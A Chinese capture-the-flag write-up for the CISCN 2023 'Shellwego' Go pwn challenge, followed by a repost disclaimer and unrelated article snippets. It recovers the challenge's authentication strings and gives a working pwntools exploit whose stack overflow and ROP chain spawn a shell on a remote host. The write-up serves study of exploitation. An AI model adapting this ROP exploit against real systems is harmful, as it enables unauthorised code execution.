CISCN 2023 初赛 pwn——Shellwego 题解

这是一个用go语言写的elf程序,没有PIE。这也是本蒟蒻第一次解go pwn题,故在此记录以便参考。

而且,这还是一个全部符号表被抠的go elf,直接面对一堆不知名的函数实在有些应付不来,因此在比赛时委托逆向的队友把符号表用工具修复了一下,使用的是bindiff这个工具。修复完成之后大概是这个样子:

虽然没有完全修复,有的函数无法识别,但对于做本题来说已经足够用了。

Step 1:找到main_main函数

main_main函数是go语言main函数的对应函数,由于go语言经常会创建线程,因此不能从start开始进行分析。本题中IDA并不能识别出main_main函数的位置,因此需要我们通过查找字符串来完成。该字符串就是程序执行一开始所打印的ciscnshell$。

这个字符串也不难找,直接就可以找到。由此可以找到main_main函数。


幸运的是,main_main函数是可以反汇编的,下图中第27行打印的就是字符串ciscnshell$,而sub_4c1900则是我们重点需要关注的函数,这里保存有该题的主要逻辑,但通过反汇编发现这个函数不能完全反汇编出来,因此我们需要通过手撕汇编来梳理逻辑。

Step 2:分析sub_4C1900函数的主要逻辑

这一步也是当时比赛时耗时最长的一步,需要耐心进行分析,不能遗漏任何一个细节,否则都会迎来一段时间的长考而不得其解。

Frag 1:命令处理


上图是进入该函数后看到的一开始的一部分内容,可以看到上面调用了几个go的函数,通过查询相关资料,regexp_compile是进行了一个正则表达式的编译,而这个正则表达式就是" +",即一个或多个空格。下面的regexp_Regexp_ReplaceAllString则是进行了正则的替换,经过调试发现这里是将一个或多个空格替换成一个空格。


然后调用了strings_genSplit函数,这个函数是用来进行字符串切分的,与python中的split功能类似,经过调试发现,这里是通过空格进行切分,即获取命令中的多个以空格分隔开来的字符串,形成一个数据结构。调试发现该数据结构是一个类似于数组的结构,每一个元素的大小为0x10,前8字节保存一个字符串的指针,后8字节保存该字符串的长度。

再往下看,就会发现疑似进行了一些比较。通过调试发现,这是在对输入的第一个字符串进行比较,也就是说,下面就进入了命令匹配的流程。

Frag 2:命令匹配

经过调试发现,上图中有一个与’trec’进行比较的cmp指令,其含义是对第一个参数进行检查,检查其是否是’cert’,也就是说,cert是一个有效的命令。


之后往下继续分析,下面对第一个参数字符串的长度进行比较并进行分支,命令长度大于3时转入loc_4C1BC9处。

在这里,我们还发现了其他命令的匹配,但我们首先还是看cert的处理。如上图所示,这里的命令功能都是通过调试得到的,可以看到这里是直接将要比较的字符串写成指令中的二进制数,在这里经过分析可知第二个参数的内容。调试发现第二个参数的内容为其他值时,cert命令无回显,且输入其他命令都将显示未认证需要认证。这里可知第二个参数的值必须为nAcDsMicN。第二个命令匹配完成后,将跳转到loc_4C1C23处,里面调用了一个函数,进去看看。



上图就是这个函数的内容,可以看到其中使用了rc4加密,并调用了一些函数实现密钥的生成和加密操作。其中需要注意的是里面提到的两个固定值,表示两个字符串片段。经过调试发现,这两个字符串片段会与我们输入的第三个参数相拼接,作为rc4一个函数的参数传入,后生成一个密钥。


再往后看,我们发现了一个比较,这里又是一个写死的字符串,并且有一个与base64加密相关的函数。经过调试发现,这里是将加密后的结果进行了base64编码,然后与代码中固定的base64字符串进行比较。还是调试发现,这里的密钥是不会改变的,这是通过写入不同的第三个参数,在加密后将密文与明文异或后发现的。通过这个不变的密钥和固定的base64值,我们就可以反推出正确的第三个字符串是什么。计算得出,第三个字符串的值应该是S33UAga1n@#!。将这三个字符串都确定后,我们输入尝试,发现输出了上图下方的成功字符串,同时模拟shell的标识符发生了改变,我们也可以使用该程序中定义的其他命令了。该check分析完成。

Frag 3:漏洞挖掘

之后,我们可以对其他命令进行分析。通过分析发现,该程序实现了ls、cd、whoami、cat、echo等指令,其中cat指令被故意修改成只有输入cat flag才会有输出,且输出是假flag。并且ls和cd指令是该程序中真正实现的两个指令,确实能够在目标机器上执行的,但本题中没有用上。真正用上的是echo指令。

那么这个echo指令到底有什么猫腻呢?经过测试发现,输入echo后再输入多个以空格分隔的字符串,回车后显示的结果中会将空格删去。也就是说echo进行了一些处理。当输入的命令中的字符串过长时,该程序会崩溃,说明有潜在的漏洞可以利用。那么我们就来看一下echo命令到底是如何处理的。

echo命令的处理调用了sub_4C1720这个函数。在该函数中,会对输入的字符串进行处理并将其保存到栈上方的某一处地址。然后该函数会进行一个循环,逐字节将处理后的字符串复制到栈上,调试时发现就是在这个循环中执行时,出现了报错SIGSEGV。循环如下图所示。

这个循环中,rax是字符串目前复制到的位置,rbx是原字符串所在的地址,在每一次复制1个字节之前rbx都会从栈上读取,可知在栈上某处保存着原字符串的地址。而其中的movzx edx, byte ptr [rbx+rax]是用来从原字符串中取出一个地址。经过调试发现,在一开始程序会在这里出现读异常,原因是rbx的值出现了错误。为什么会出现错误呢?通过进一步调试发现,原字符串的地址在栈中保存的位置正好就在栈上复制缓冲区的高地址处,当缓冲区溢出时溢出到这里会将地址覆盖,由此便产生了SIGSEGV。如果这里没有这个地址的话,我们就可以一路溢出到返回地址执行ROP命令了。那么这里又应该如何处理这个原字符串地址呢?

需要注意到上图中的4C186D处,这里对读取的一个字节进行了判断,如果这个字节是+的ASCII码,则会跳过不复制到栈,且rax继续增长,那么如果我们在溢出到该地址时后面写8个+,就能够优雅地绕过这个地址,让其不受干扰。

Step 3:编写exp

下面的工作就简单了。通过对输入长度的不断增加进行测试,很容易就能够获取到命令前一部分的内容,这一部分是为了能够将栈的缓冲区填满。然后添加8个加号,再在后面写上填充和ROP,看似就大功告成了。

不过,在调试时发现,只是绕过了地址还不够,地址下方8个字节表示的是复制字符串的总长度,如果这里在覆盖的时候被改小了,那么就会报错显示Index Out Of Bound。因此这里可以选择继续使用+绕过,或者改成一个更大的值也可以。

from pwn import *
context.log_level = 'debug'

# io = process(['./pwn'])
io = remote('123.57.248.214', 29444)

poprdi_ret = 0x444fec
poprsi_ret = 0x41e818
poprdx_ret = 0x49e11d
poprax_ret = 0x40d9e6
syscall = 0x40328c
shell = 0x4A5000

if __name__ == '__main__':
    io.sendlineafter(b'ciscnshell$ ', b'cert nAcDsMicN S33UAga1n@#!')
    cstr = cyclic(0x200 * 8)
    payload = b'echo '
    for j in range(64):
        payload += cstr[j*8: (j+1)*8]
        payload += b' '
    payload += b'fff '

    payload += b'+' * 8
    payload += p64(0x10FF) * 3
    payload += p64(poprdi_ret)
    payload += p64(0)
    payload += p64(poprax_ret)
    payload += p64(0)
    payload += p64(poprsi_ret)
    payload += p64(0x59FE70)
    payload += p64(poprdx_ret)
    payload += p64(20)
    payload += p64(syscall)

    payload += p64(poprdi_ret)
    payload += p64(0x59FE70)
    payload += p64(poprax_ret)
    payload += p64(59)
    payload += p64(poprsi_ret)
    payload += p64(0)
    payload += p64(poprdx_ret)
    payload += p64(0)
    payload += p64(syscall)

    # gdb.attach(io, 'b *0x444fec')
    # time.sleep(3)
    io.sendlineafter(b'# ', payload)
    io.send("/bin/sh\x00")

    io.interactive()


注意到执行cat flag后不显示假flag,说明已经成功getshell。

本题在比赛时耗时很长,主要是因为在一开始不知道具体漏洞位置时可能会去分析其他的命令,而实际上其他的命令对本题没有什么用处。同时,本题也体现出go符号表的重要性,如果没有符号表,调试的工作量可能要大得多。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/25765.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

​【指针与数组的恩怨情仇】

指针和数组的关系 指针指的是指针变量,不是数组,指针变量的大小是4/8个字节,是专门来存放地址的。数组也不是指针,数组是一块连续的空间,存放一组相同类型的数据的。 没有关系,但是它们之间有比较相似的地方…

【Netty】一行简单的writeAndFlush都做了哪些事(十八)

文章目录 前言一、源码分析1.1 ctx.writeAndFlush 的逻辑1.2 writeAndFlush 源码1.3 ChannelOutBoundBuff 类1.4 addMessage 方法1.5 addFlush 方法1.6 AbstractNioByteChannel 类 总结 前言 回顾Netty系列文章: Netty 概述(一)Netty 架构设…

好用的Chrome浏览器插件推荐(不定期更新)

好用的Chrome浏览器插件推荐 1.1 CSDN-浏览器助手1.2 Google 翻译1.3 JSON Viewer1.4 ModHeader - Modify HTTP headers1.5 Octotree - GitHub code tree 1.1 CSDN-浏览器助手 CSDN-浏览器助手 是一款集成本地书签、历史记录与 CSDN搜索(so.csdn.net) 的搜索工具 推荐&#x…

自动驾驶车载MCU开发修炼秘籍

目录 车载MCU开发修炼秘籍1、恩智浦 S32K1XX系列2、英飞凌 AURIX TC3XX3、嵌入式实时操作系统-FreeRTOS4、车载实时操作系统-AUTOSAR 车载MCU开发修炼秘籍 1、恩智浦 S32K1XX系列 S32K14X学习笔记(一)–S32K汽车MCU资源总结 S32K14X学习笔记&#xff1a…

第二章 数据类型、运算符与表达式

如何打开项目 如何打开已经存在的解决方案? 找到要打开的解决方案目录,进去之后双击后缀为.sln的文件即可打开该解决方案。 或者从最近打开项目中打开: Online Judge使用 OJ简介 在线判题系统(Online Judge,缩写OJ…

WebService接口测试

WebService的理解 WebService就是Web服务的意思,对应的应用层协议为SOAP(相当于HTTP协议),可理解为远程调用技术。 特点: 客户端发送的请求主体内容(请求报文)的格式为XML格式 接口返回的响…

【P36】JMeter 交替控制器(Interleave Controller)

文章目录 一、交替控制器(Interleave Controller)参数说明二、测试计划设计 一、交替控制器(Interleave Controller)参数说明 可以将内部的组件在线程迭代时交替执行;交替控制器内部一般会有多个取样器 选择线程组右…

黑马Redis视频教程高级篇(一:分布式缓存)

目录 分布式缓存 一、Redis持久化 1.1、RDB持久化 1.1.1、执行时机 1.1.2、RDB原理 1.1.3、小结 1.2、OF持久化 1.2.1、AOF原理 1.2.2、OF配置 1.2.3、AOF文件重写 1.3、RDB与AOF对比 二、Redis主从 2.1、搭建主从架构 2.1.1、集群结构 2.1.2、准备实例和配置 …

多层级table联动

elementui 多层级table联动: 引用: https://blog.csdn.net/weixin_44780971/article/details/130054925 https://blog.csdn.net/qq_42581563/article/details/114325920 需要了解的属性: select-all 全选的时候执行select : 选择…

linux高级---k8s中的五种控制器

文章目录 一、k8s的控制器类型二、pod与控制器之间的关系三、状态与无状态化对特点四、Deployment1、Deployment的资源清单文件2、在配置清单中调用deployment控制器3、镜像更新4、金丝雀发布5、删除Deployment 五、Statefulset六、DaemonSet1、daemonset的资源清单文件2、在配…

点到直线距离

点到直线距离最小二乘解释 推倒部分 形象描述是C到AB距离最短,也就是CD最短用数学语言描述是 m i n ∣ ∣ ( B − A ) λ A − C ∣ ∣ min||(B-A) \lambda A - C || min∣∣(B−A)λA−C∣∣ 其中 D ( B − A ) λ A D (B-A) \lambda A D(B−A)λA,其实本质…

使用Windbg动态调试目标进程的一般步骤及相关要点详解

目录 1、概述 2、将Windbg附加到已经启动起来的目标进程上,或者用Windbg启动目标程序 2.1、将Windbg附加到已经启动起来的目标进程上 2.2、用Windbg启动目标程序 2.3、Windbg关联到目标进程上会中断下来,输入g命令将该中断跳过去 3、分析实例说明 …

macOS Ventura 13.5beta2 (22G5038d)发布

系统介绍 黑果魏叔 6 月 1 日消息,苹果今日向 Mac 电脑用户推送了 macOS 13.5 开发者预览版 Beta 2 更新(内部版本号:22G5038d),本次更新距离上次发布隔了 12 天。 macOS Ventura 带来了台前调度、连续互通相机、Fac…

FPGA基于AXI 1G/2.5G Ethernet Subsystem实现千兆UDP通信 提供工程源码和技术支持

目录 1、前言2、我这里已有的UDP方案3、详细设计方案传统UDP网络通信方案本方案详细设计说明UDP层设计AXIS-FIFOAXI 1G/2.5G Ethernet Subsystem:输出 4、vivado工程详解5、上板调试验证并演示系统配置UDP数据回环测试注意事项 6、福利:工程代码的获取 1…

RK3588平台开发系列讲解(项目篇)RKNN-Toolkit2 的使用

平台内核版本安卓版本RK3588Linux 5.10Android 12文章目录 一、RKNN-Toolkit2安装二、模型转换和模型推理三、性能和内存评估沉淀、分享、成长,让自己和他人都能有所收获!😄 📢 NPU 是专门用于神经网络的处理单元。它旨在加速人工智能领域的神经网络算法,如机器视觉和自…

如何在 Linux 中进行网络地址转换 (NAT)?

网络地址转换(Network Address Translation,简称NAT)是一种在网络中使用的技术,它允许将私有网络中的IP地址映射到公共网络上,从而实现多个设备共享单个公共IP地址。在Linux系统中,我们可以使用一些工具和配…

《Web安全基础》01. 基础知识

基础 1:概念名词1.1:域名1.2:DNS1.3:网站开发语言1.4:后门1.5:Web1.6:Web 相关安全漏洞 2:数据包2.1:HTTP2.2:HTTPS2.3:请求数据包2.3.1&#xff…

MySQL 数据操纵语言 DML

文章目录 数据操纵语言 DMLINSERT 语句UPDATE 语句DELETE 语句 数据操纵语言 DML 数据操纵语言(Data Manipulation Language,DML)是 SQL 语言的核心部分之一。在添加、更新或者删除表中的数据时,需要执行 DML 语句。很多时候我们提…

03 【数据代理 事件处理】

03 【数据代理 事件处理】 1.数据代理 了解数据代理需要js的一些知识:Object.defineProperty(),属性标志,属性描述符,getter,setter。。。 1.1数据代理 建议学习文章地址: https://zh.javascript.info/p…

软考A计划-试题模拟含答案解析-卷十三

点击跳转专栏>Unity3D特效百例点击跳转专栏>案例项目实战源码点击跳转专栏>游戏脚本-辅助自动化点击跳转专栏>Android控件全解手册点击跳转专栏>Scratch编程案例 👉关于作者 专注于Android/Unity和各种游戏开发技巧,以及各种资源分享&am…